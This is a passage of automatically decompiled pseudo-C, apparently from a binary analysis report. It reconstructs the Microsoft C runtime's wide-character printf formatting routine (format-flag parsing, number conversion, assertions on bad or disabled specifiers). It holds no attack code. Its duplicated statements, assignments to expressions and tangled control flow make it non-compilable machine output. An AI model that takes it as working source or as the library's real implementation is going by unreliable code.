														__ecx =  *(__ebp + 0xc);
														__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
														__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x33;
														if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
															L53:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx & 0x0000ffff;
															__eflags = ( *__ecx & 0x0000ffff) - 0x64;
															if(( *__ecx & 0x0000ffff) == 0x64) {
																L59:
																L61:
																goto L64;
															}
															L54:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = __ecx - 0x69;
															if(__ecx == 0x69) {
																goto L59;
															}
															L55:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6f;
															if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																goto L59;
															}
															L56:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx & 0x0000ffff;
															__eflags = ( *__ecx & 0x0000ffff) - 0x75;
															if(( *__ecx & 0x0000ffff) == 0x75) {
																goto L59;
															}
															L57:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = __ecx - 0x78;
															if(__ecx == 0x78) {
																goto L59;
															}
															L58:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
															__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x58;
															if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																 *(__ebp - 0x45c) = 0;
																goto L18;
															}
															goto L59;
														}
														L51:
														__eax =  *(__ebp + 0xc);
														__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
														__eflags = __ecx - 0x32;
														if(__ecx != 0x32) {
															goto L53;
														} else {
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
															goto L61;
														}
													}
													L48:
													__eax =  *(__ebp + 0xc);
													__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
													__eflags = __ecx - 0x34;
													if(__ecx != 0x34) {
														goto L50;
													} else {
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
														goto L61;
													}
												case 1:
													L62:
													__ecx =  *(__ebp - 0x10);
													__ecx =  *(__ebp - 0x10) | 0x00000020;
													 *(__ebp - 0x10) = __ecx;
													goto L64;
												case 2:
													L43:
													__edx =  *(__ebp + 0xc);
													__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
													__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6c;
													if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
														__eax =  *(__ebp - 0x10);
														__eax =  *(__ebp - 0x10) | 0x00000010;
														__eflags = __eax;
														 *(__ebp - 0x10) = __eax;
													} else {
														__ecx =  *(__ebp + 0xc);
														__ecx =  *(__ebp + 0xc) + 2;
														 *(__ebp + 0xc) = __ecx;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
													}
													goto L64;
												case 3:
													L63:
													__edx =  *(__ebp - 0x10);
													__edx =  *(__ebp - 0x10) | 0x00000800;
													__eflags = __edx;
													 *(__ebp - 0x10) = __edx;
													goto L64;
												case 4:
													goto L64;
											}
										case 7:
											L65:
											__eax =  *(__ebp - 0x454) & 0x0000ffff;
											 *(__ebp - 0x4ec) =  *(__ebp - 0x454) & 0x0000ffff;
											__ecx =  *(__ebp - 0x4ec);
											__ecx =  *(__ebp - 0x4ec) - 0x41;
											 *(__ebp - 0x4ec) = __ecx;
											__eflags =  *(__ebp - 0x4ec) - 0x37;
											if( *(__ebp - 0x4ec) > 0x37) {
												goto L187;
												do {
													do {
														while(1) {
															L187:
															if( *(_t600 - 0x28) != 0) {
																goto L212;
															}
															goto L188;
														}
														L183:
														__ebp - 0x249 = __ebp - 0x249 -  *(__ebp - 4);
														 *(__ebp - 0x24) = __ebp - 0x249 -  *(__ebp - 4);
														__ecx =  *(__ebp - 4);
														__ecx =  *(__ebp - 4) + 1;
														 *(__ebp - 4) = __ecx;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
														__eflags =  *(__ebp - 0x10) & 0x00000200;
													} while (( *(__ebp - 0x10) & 0x00000200) == 0);
													__eflags =  *(__ebp - 0x24);
													if( *(__ebp - 0x24) == 0) {
														break;
													}
													L185:
													__eax =  *(__ebp - 4);
													__ecx =  *( *(__ebp - 4));
													__eflags = __ecx - 0x30;
												} while (__ecx == 0x30);
												L186:
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												__eax =  *(__ebp - 4);
												 *( *(__ebp - 4)) = 0x30;
												__ecx =  *(__ebp - 0x24);
												__ecx =  *(__ebp - 0x24) + 1;
												__eflags = __ecx;
												 *(__ebp - 0x24) = __ecx;
												while(1) {
													L187:
													if( *(_t600 - 0x28) != 0) {
														goto L212;
													}
													goto L188;
												}
											}
											L66:
											_t142 =  *(__ebp - 0x4ec) + 0x43cbe0; // 0xcccccc0d
											__eax =  *_t142 & 0x000000ff;
											switch( *((intOrPtr*)(( *_t142 & 0x000000ff) * 4 +  &M0043CBA4))) {
												case 0:
													L119:
													 *(__ebp - 0x2c) = 1;
													 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
													__eflags = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
													 *(__ebp - 0x454) = __ax;
													goto L120;
												case 1:
													L67:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__edx =  *(__ebp - 0x10);
														__edx =  *(__ebp - 0x10) | 0x00000020;
														__eflags = __edx;
														 *(__ebp - 0x10) = __edx;
													}
													goto L69;
												case 2:
													L82:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000020;
														__eflags = __ecx;
														 *(__ebp - 0x10) = __ecx;
													}
													goto L84;
												case 3:
													L143:
													 *(__ebp - 0x460) = 7;
													goto L145;
												case 4:
													L75:
													__eax = __ebp + 0x14;
													 *(__ebp - 0x474) = E004285E0(__ebp + 0x14);
													__eflags =  *(__ebp - 0x474);
													if( *(__ebp - 0x474) == 0) {
														L77:
														__edx =  *0x440f80; // 0x404478
														 *(__ebp - 4) = __edx;
														__eax =  *(__ebp - 4);
														 *(__ebp - 0x24) = E0041DFC0( *(__ebp - 4));
														L81:
														goto L187;
													}
													L76:
													__ecx =  *(__ebp - 0x474);
													__eflags =  *(__ecx + 4);
													if( *(__ecx + 4) != 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
														__eflags =  *(__ebp - 0x10) & 0x00000800;
														if(( *(__ebp - 0x10) & 0x00000800) == 0) {
															 *(__ebp - 0xc) = 0;
															__edx =  *(__ebp - 0x474);
															__eax =  *(__edx + 4);
															 *(__ebp - 4) =  *(__edx + 4);
															__ecx =  *(__ebp - 0x474);
															__edx =  *__ecx;
															 *(__ebp - 0x24) =  *__ecx;
														} else {
															__edx =  *(__ebp - 0x474);
															__eax =  *(__edx + 4);
															 *(__ebp - 4) =  *(__edx + 4);
															__ecx =  *(__ebp - 0x474);
															__eax =  *__ecx;
															asm("cdq");
															 *__ecx - __edx =  *__ecx - __edx >> 1;
															 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
															 *(__ebp - 0xc) = 1;
														}
														goto L81;
													}
													goto L77;
												case 5:
													L120:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													__edx = __ebp - 0x448;
													 *(__ebp - 4) = __ebp - 0x448;
													 *(__ebp - 0x44) = 0x200;
													__eflags =  *(__ebp - 0x30);
													if( *(__ebp - 0x30) >= 0) {
														L122:
														__eflags =  *(__ebp - 0x30);
														if( *(__ebp - 0x30) != 0) {
															L125:
															__eflags =  *(__ebp - 0x30) - 0x200;
															if( *(__ebp - 0x30) > 0x200) {
																 *(__ebp - 0x30) = 0x200;
															}
															L127:
															__eflags =  *(__ebp - 0x30) - 0xa3;
															if( *(__ebp - 0x30) > 0xa3) {
																__ecx =  *(__ebp - 0x30);
																__ecx =  *(__ebp - 0x30) + 0x15d;
																 *(__ebp - 0x20) = L0041BA60( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																__eflags =  *(__ebp - 0x20);
																if( *(__ebp - 0x20) == 0) {
																	 *(__ebp - 0x30) = 0xa3;
																} else {
																	__edx =  *(__ebp - 0x20);
																	 *(__ebp - 4) =  *(__ebp - 0x20);
																	 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																	 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																}
															}
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															__edx =  *(__ebp + 0x14);
															__eax =  *(__edx - 8);
															__ecx =  *(__edx - 4);
															 *(__ebp - 0x490) =  *(__edx - 8);
															 *(__ebp - 0x48c) =  *(__edx - 4);
															__ecx = __ebp - 0x40;
															_push(E0041AFF0(__ebp - 0x40));
															__edx =  *(__ebp - 0x2c);
															_push( *(__ebp - 0x2c));
															__eax =  *(__ebp - 0x30);
															_push( *(__ebp - 0x30));
															__ecx =  *(__ebp - 0x454);
															_push( *(__ebp - 0x454));
															__edx =  *(__ebp - 0x44);
															_push( *(__ebp - 0x44));
															__eax =  *(__ebp - 4);
															_push( *(__ebp - 4));
															__ecx = __ebp - 0x490;
															_push(__ebp - 0x490);
															__edx =  *0x440374; // 0xc0d8c8fb
															E00424860(__edx) =  *__eax();
															__esp = __esp + 0x1c;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
															__eflags =  *(__ebp - 0x10) & 0x00000080;
															if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E0041AFF0(__ebp - 0x40));
																	__ecx =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__edx =  *0x440380; // 0xc0d7763b
																	E00424860(__edx) =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__eax =  *(__ebp - 0x454) & 0x0000ffff;
															__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
															if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																__eflags =  *(__ebp - 0x10) & 0x00000080;
																if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E0041AFF0(__ebp - 0x40));
																	__edx =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__eax =  *0x44037c; // 0xc0d772bb
																	__eax =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__ecx =  *(__ebp - 4);
															__edx =  *( *(__ebp - 4));
															__eflags =  *( *(__ebp - 4)) - 0x2d;
															if( *( *(__ebp - 4)) == 0x2d) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																__ecx =  *(__ebp - 4);
																__ecx =  *(__ebp - 4) + 1;
																__eflags = __ecx;
																 *(__ebp - 4) = __ecx;
															}
															__edx =  *(__ebp - 4);
															 *(__ebp - 0x24) = E0041DFC0( *(__ebp - 4));
															do {
																L187:
																if( *(_t600 - 0x28) != 0) {
																	goto L212;
																}
																goto L188;
															} while ( *(__ebp - 0x4ec) > 0x37);
															goto L66;
														}
														L123:
														__eax =  *(__ebp - 0x454) & 0x0000ffff;
														__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
														if(( *(__ebp - 0x454) & 0x0000ffff) != 0x67) {
															goto L125;
														}
														L124:
														 *(__ebp - 0x30) = 1;
														goto L127;
													}
													L121:
													 *(__ebp - 0x30) = 6;
													goto L127;
												case 6:
													L69:
													 *(__ebp - 0xc) = 1;
													__ebp + 0x14 = E004285E0(__ebp + 0x14);
													 *(__ebp - 0x458) = __ax;
													__ecx =  *(__ebp - 0x10);
													__ecx =  *(__ebp - 0x10) & 0x00000020;
													__eflags = __ecx;
													if(__ecx == 0) {
														 *(__ebp - 0x448) =  *(__ebp - 0x458);
													} else {
														 *(__ebp - 0x458) & 0x0000ffff =  *(__ebp - 0x458) & 0xff;
														 *(__ebp - 0x470) = __dl;
														 *((char*)(__ebp - 0x46f)) = 0;
														__ecx = __ebp - 0x40;
														__eax = E0041AFF0(__ebp - 0x40);
														__ecx = __ebp - 0x40;
														E0041AFF0(__ebp - 0x40) =  *__eax;
														__ecx =  *(__ebp - 0x448 + 0xac);
														__edx = __ebp - 0x470;
														__eax = __ebp - 0x448;
														__eax = E0043B720(__ebp - 0x448, __ebp - 0x470,  *(__ebp - 0x448 + 0xac), __ebp - 0x448);
														__eflags = __eax;
														if(__eax < 0) {
															 *(__ebp - 0x28) = 1;
														}
													}
													__edx = __ebp - 0x448;
													 *(__ebp - 4) = __ebp - 0x448;
													 *(__ebp - 0x24) = 1;
													while(1) {
														L187:
														if( *(_t600 - 0x28) != 0) {
															goto L212;
														}
														goto L188;
													}
												case 7:
													L140:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 8) = 0xa;
													goto L150;
												case 8:
													goto L0;
												case 9:
													L148:
													 *(__ebp - 8) = 8;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
													__eflags =  *(__ebp - 0x10) & 0x00000080;
													if(( *(__ebp - 0x10) & 0x00000080) != 0) {
														__edx =  *(__ebp - 0x10);
														__edx =  *(__ebp - 0x10) | 0x00000200;
														__eflags = __edx;
														 *(__ebp - 0x10) = __edx;
													}
													goto L150;
												case 0xa:
													L142:
													 *(__ebp - 0x30) = 8;
													goto L143;
												case 0xb:
													L84:
													__eflags =  *(__ebp - 0x30) - 0xffffffff;
													if( *(__ebp - 0x30) != 0xffffffff) {
														__edx =  *(__ebp - 0x30);
														 *(__ebp - 0x4f0) =  *(__ebp - 0x30);
													} else {
														 *(__ebp - 0x4f0) = 0x7fffffff;
													}
													__eax =  *(__ebp - 0x4f0);
													 *(__ebp - 0x47c) =  *(__ebp - 0x4f0);
													__ecx = __ebp + 0x14;
													 *(__ebp - 4) = E004285E0(__ebp + 0x14);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
													__eflags =  *(__ebp - 0x10) & 0x00000020;
													if(( *(__ebp - 0x10) & 0x00000020) == 0) {
														L98:
														__eflags =  *(__ebp - 4);
														if( *(__ebp - 4) == 0) {
															__ecx =  *0x440f84; // 0x404468
															 *(__ebp - 4) = __ecx;
														}
														 *(__ebp - 0xc) = 1;
														__edx =  *(__ebp - 4);
														 *(__ebp - 0x480) =  *(__ebp - 4);
														while(1) {
															L101:
															__eax =  *(__ebp - 0x47c);
															__ecx =  *(__ebp - 0x47c);
															__ecx =  *(__ebp - 0x47c) - 1;
															 *(__ebp - 0x47c) = __ecx;
															__eflags =  *(__ebp - 0x47c);
															if( *(__ebp - 0x47c) == 0) {
																break;
															}
															L102:
															__edx =  *(__ebp - 0x480);
															__eax =  *( *(__ebp - 0x480)) & 0x0000ffff;
															__eflags =  *( *(__ebp - 0x480)) & 0x0000ffff;
															if(( *( *(__ebp - 0x480)) & 0x0000ffff) == 0) {
																break;
															}
															L103:
															 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
															 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
														}
														L104:
														__edx =  *(__ebp - 0x480);
														__edx =  *(__ebp - 0x480) -  *(__ebp - 4);
														__eflags = __edx;
														 *(__ebp - 0x24) = __edx;
														goto L105;
													} else {
														L88:
														__eflags =  *(__ebp - 4);
														if( *(__ebp - 4) == 0) {
															__eax =  *0x440f80; // 0x404478
															 *(__ebp - 4) = __eax;
														}
														__ecx =  *(__ebp - 4);
														 *(__ebp - 0x478) = __ecx;
														 *(__ebp - 0x24) = 0;
														while(1) {
															L92:
															__eax =  *(__ebp - 0x24);
															__eflags =  *(__ebp - 0x24) -  *(__ebp - 0x47c);
															if( *(__ebp - 0x24) >=  *(__ebp - 0x47c)) {
																break;
															}
															L93:
															__ecx =  *(__ebp - 0x478);
															__edx =  *__ecx;
															__eflags =  *__ecx;
															if( *__ecx == 0) {
																break;
															}
															L94:
															__ecx = __ebp - 0x40;
															E0041AFF0(__ebp - 0x40) =  *(__ebp - 0x478);
															__ecx =  *( *(__ebp - 0x478)) & 0x000000ff;
															__eax = E00431490( *( *(__ebp - 0x478)) & 0x000000ff,  *(__ebp - 0x478));
															__eflags = __eax;
															if(__eax != 0) {
																__edx =  *(__ebp - 0x478);
																__edx =  *(__ebp - 0x478) + 1;
																__eflags = __edx;
																 *(__ebp - 0x478) = __edx;
															}
															 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
															 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
															__edx =  *(__ebp - 0x24);
															__edx =  *(__ebp - 0x24) + 1;
															__eflags = __edx;
															 *(__ebp - 0x24) = __edx;
														}
														L97:
														L105:
														while(1) {
															L187:
															if( *(_t600 - 0x28) != 0) {
																goto L212;
															}
															goto L188;
														}
													}
												case 0xc:
													L141:
													 *(__ebp - 8) = 0xa;
													goto L150;
												case 0xd:
													L144:
													 *(__ebp - 0x460) = 0x27;
													L145:
													 *(__ebp - 8) = 0x10;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
													__eflags =  *(__ebp - 0x10) & 0x00000080;
													if(( *(__ebp - 0x10) & 0x00000080) != 0) {
														__edx = 0x30;
														 *((short*)(__ebp - 0x14)) = __dx;
														 *(__ebp - 0x460) =  *(__ebp - 0x460) + 0x51;
														__eflags =  *(__ebp - 0x460) + 0x51;
														 *(__ebp - 0x12) = __ax;
														 *(__ebp - 0x1c) = 2;
													}
													L150:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
													__eflags =  *(__ebp - 0x10) & 0x00008000;
													if(( *(__ebp - 0x10) & 0x00008000) == 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
														__eflags =  *(__ebp - 0x10) & 0x00001000;
														if(( *(__ebp - 0x10) & 0x00001000) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
															__eflags =  *(__ebp - 0x10) & 0x00000020;
															if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																__eflags =  *(__ebp - 0x10) & 0x00000040;
																if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																	__ecx = __ebp + 0x14;
																	__eax = E004285E0(__ebp + 0x14);
																	__edx = 0;
																	__eflags = 0;
																	 *(__ebp - 0x4a0) = __eax;
																	 *(__ebp - 0x49c) = 0;
																} else {
																	__eax = __ebp + 0x14;
																	__eax = E004285E0(__ebp + 0x14);
																	asm("cdq");
																	 *(__ebp - 0x4a0) = __eax;
																	 *(__ebp - 0x49c) = __edx;
																}
															} else {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																__eflags =  *(__ebp - 0x10) & 0x00000040;
																if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																	__ecx = __ebp + 0x14;
																	E004285E0(__ebp + 0x14) = __ax & 0x0000ffff;
																	asm("cdq");
																	 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
																	 *(__ebp - 0x49c) = __edx;
																} else {
																	__eax = __ebp + 0x14;
																	__eax = E004285E0(__ebp + 0x14);
																	__ax = __eax;
																	asm("cdq");
																	 *(__ebp - 0x4a0) = __eax;
																	 *(__ebp - 0x49c) = __edx;
																}
															}
														} else {
															__eax = __ebp + 0x14;
															 *(__ebp - 0x4a0) = E00428600(__ebp + 0x14);
															 *(__ebp - 0x49c) = __edx;
														}
													} else {
														__ecx = __ebp + 0x14;
														 *(__ebp - 0x4a0) = E00428600(__ebp + 0x14);
														 *(__ebp - 0x49c) = __edx;
													}
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
													__eflags =  *(__ebp - 0x10) & 0x00000040;
													if(( *(__ebp - 0x10) & 0x00000040) == 0) {
														L167:
														__ecx =  *(__ebp - 0x4a0);
														 *(__ebp - 0x4a8) =  *(__ebp - 0x4a0);
														__edx =  *(__ebp - 0x49c);
														 *(__ebp - 0x4a4) =  *(__ebp - 0x49c);
														goto L168;
													} else {
														L163:
														__eflags =  *(__ebp - 0x49c);
														if(__eflags > 0) {
															goto L167;
														}
														L164:
														if(__eflags < 0) {
															L166:
															 *(__ebp - 0x4a0) =  ~( *(__ebp - 0x4a0));
															__edx =  *(__ebp - 0x49c);
															asm("adc edx, 0x0");
															__edx =  ~( *(__ebp - 0x49c));
															 *(__ebp - 0x4a8) =  ~( *(__ebp - 0x4a0));
															 *(__ebp - 0x4a4) =  ~( *(__ebp - 0x49c));
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
															L168:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
															__eflags =  *(__ebp - 0x10) & 0x00008000;
															if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																__eflags =  *(__ebp - 0x10) & 0x00001000;
																if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																	__edx =  *(__ebp - 0x4a8);
																	__eax =  *(__ebp - 0x4a4);
																	__eax =  *(__ebp - 0x4a4) & 0x00000000;
																	__eflags = __eax;
																	 *(__ebp - 0x4a4) = __eax;
																}
															}
															__eflags =  *(__ebp - 0x30);
															if( *(__ebp - 0x30) >= 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
																__eflags =  *(__ebp - 0x30) - 0x200;
																if( *(__ebp - 0x30) > 0x200) {
																	 *(__ebp - 0x30) = 0x200;
																}
															} else {
																 *(__ebp - 0x30) = 1;
															}
															 *(__ebp - 0x4a8) =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
															__eflags =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
															if(( *(__ebp - 0x4a8) |  *(__ebp - 0x4a4)) == 0) {
																 *(__ebp - 0x1c) = 0;
															}
															__eax = __ebp - 0x249;
															 *(__ebp - 4) = __ebp - 0x249;
															while(1) {
																L178:
																__ecx =  *(__ebp - 0x30);
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) > 0) {
																	goto L180;
																}
																L179:
																 *(__ebp - 0x4a8) =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
																__eflags =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
																if(( *(__ebp - 0x4a8) |  *(__ebp - 0x4a4)) == 0) {
																	goto L183;
																}
																L180:
																__eax =  *(__ebp - 8);
																asm("cdq");
																__ecx =  *(__ebp - 0x4a4);
																__edx =  *(__ebp - 0x4a8);
																__eax = E00430A00( *(__ebp - 0x4a8),  *(__ebp - 0x4a4),  *(__ebp - 8),  *(__ebp - 0x4a8));
																 *(__ebp - 0x494) = __eax;
																__eax =  *(__ebp - 8);
																asm("cdq");
																__eax =  *(__ebp - 0x4a4);
																__ecx =  *(__ebp - 0x4a8);
																 *(__ebp - 0x4a8) = E00430A80( *(__ebp - 0x4a8),  *(__ebp - 0x4a4),  *(__ebp - 8), __edx);
																 *(__ebp - 0x4a4) = __edx;
																__eflags =  *(__ebp - 0x494) - 0x39;
																if( *(__ebp - 0x494) > 0x39) {
																	__edx =  *(__ebp - 0x494);
																	__edx =  *(__ebp - 0x494) +  *(__ebp - 0x460);
																	__eflags = __edx;
																	 *(__ebp - 0x494) = __edx;
																}
																__eax =  *(__ebp - 4);
																 *( *(__ebp - 4)) =  *(__ebp - 0x494);
																 *(__ebp - 4) =  *(__ebp - 4) - 1;
																 *(__ebp - 4) =  *(__ebp - 4) - 1;
																L178:
																__ecx =  *(__ebp - 0x30);
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) > 0) {
																	goto L180;
																}
																goto L179;
															}
														}
														L165:
														__eflags =  *(__ebp - 0x4a0);
														if( *(__ebp - 0x4a0) >= 0) {
															goto L167;
														}
														goto L166;
													}
												case 0xe:
													while(1) {
														L187:
														if( *(_t600 - 0x28) != 0) {
															goto L212;
														}
														goto L188;
													}
											}
										case 8:
											L24:
											__ecx =  *(__ebp - 0x10);
											__ecx =  *(__ebp - 0x10) | 0x00000002;
											 *(__ebp - 0x10) = __ecx;
											goto L27;
										case 9:
											L25:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
											goto L27;
										case 0xa:
											L23:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
											goto L27;
										case 0xb:
											L22:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
											goto L27;
										case 0xc:
											L26:
											__eax =  *(__ebp - 0x10);
											__eax =  *(__ebp - 0x10) | 0x00000008;
											__eflags = __eax;
											 *(__ebp - 0x10) = __eax;
											goto L27;
										case 0xd:
											L27:
											goto L214;
									}
								} else {
									_t574 = 0;
									if(0 == 0) {
										 *(_t600 - 0x4dc) = 0;
									} else {
										 *(_t600 - 0x4dc) = 1;
									}
									 *(_t600 - 0x46c) =  *(_t600 - 0x4dc);
									if( *(_t600 - 0x46c) == 0) {
										_push(L"(\"Incorrect format specifier\", 0)");
										_push(0);
										_push(0x460);
										_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
										_push(2);
										_t501 = L0041E520();
										_t603 = _t603 + 0x14;
										if(_t501 == 1) {
											asm("int3");
										}
									}
									L14:
									if( *(_t600 - 0x46c) != 0) {
										goto L16;
									} else {
										 *((intOrPtr*)(L00423010(_t546))) = 0x16;
										E00422DA0(_t534, _t546, _t598, _t599, L"(\"Incorrect format specifier\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
										 *(_t600 - 0x4c8) = 0xffffffff;
										E0041AFC0(_t600 - 0x40);
										_t486 =  *(_t600 - 0x4c8);
										goto L225;
									}
								}
							}
							L215:
							if( *(_t600 - 0x45c) == 0) {
								L218:
								 *(_t600 - 0x4f8) = 1;
								L219:
								_t574 =  *(_t600 - 0x4f8);
								 *(_t600 - 0x4bc) =  *(_t600 - 0x4f8);
								if( *(_t600 - 0x4bc) == 0) {
									_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
									_push(0);
									_push(0x8f5);
									_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
									_push(2);
									_t491 = L0041E520();
									_t603 = _t603 + 0x14;
									if(_t491 == 1) {
										asm("int3");
									}
								}
								if( *(_t600 - 0x4bc) != 0) {
									 *(_t600 - 0x4d4) =  *(_t600 - 0x44c);
									E0041AFC0(_t600 - 0x40);
									_t486 =  *(_t600 - 0x4d4);
								} else {
									 *((intOrPtr*)(L00423010(_t538))) = 0x16;
									E00422DA0(_t534, _t538, _t598, _t599, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
									 *(_t600 - 0x4d0) = 0xffffffff;
									E0041AFC0(_t600 - 0x40);
									_t486 =  *(_t600 - 0x4d0);
								}
								goto L225;
							}
							L216:
							if( *(_t600 - 0x45c) == 7) {
								goto L218;
							}
							L217:
							 *(_t600 - 0x4f8) = 0;
							goto L219;
						}
					} else {
						L113:
						 *((intOrPtr*)(L00423010(__ecx))) = 0x16;
						__eax = E00422DA0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
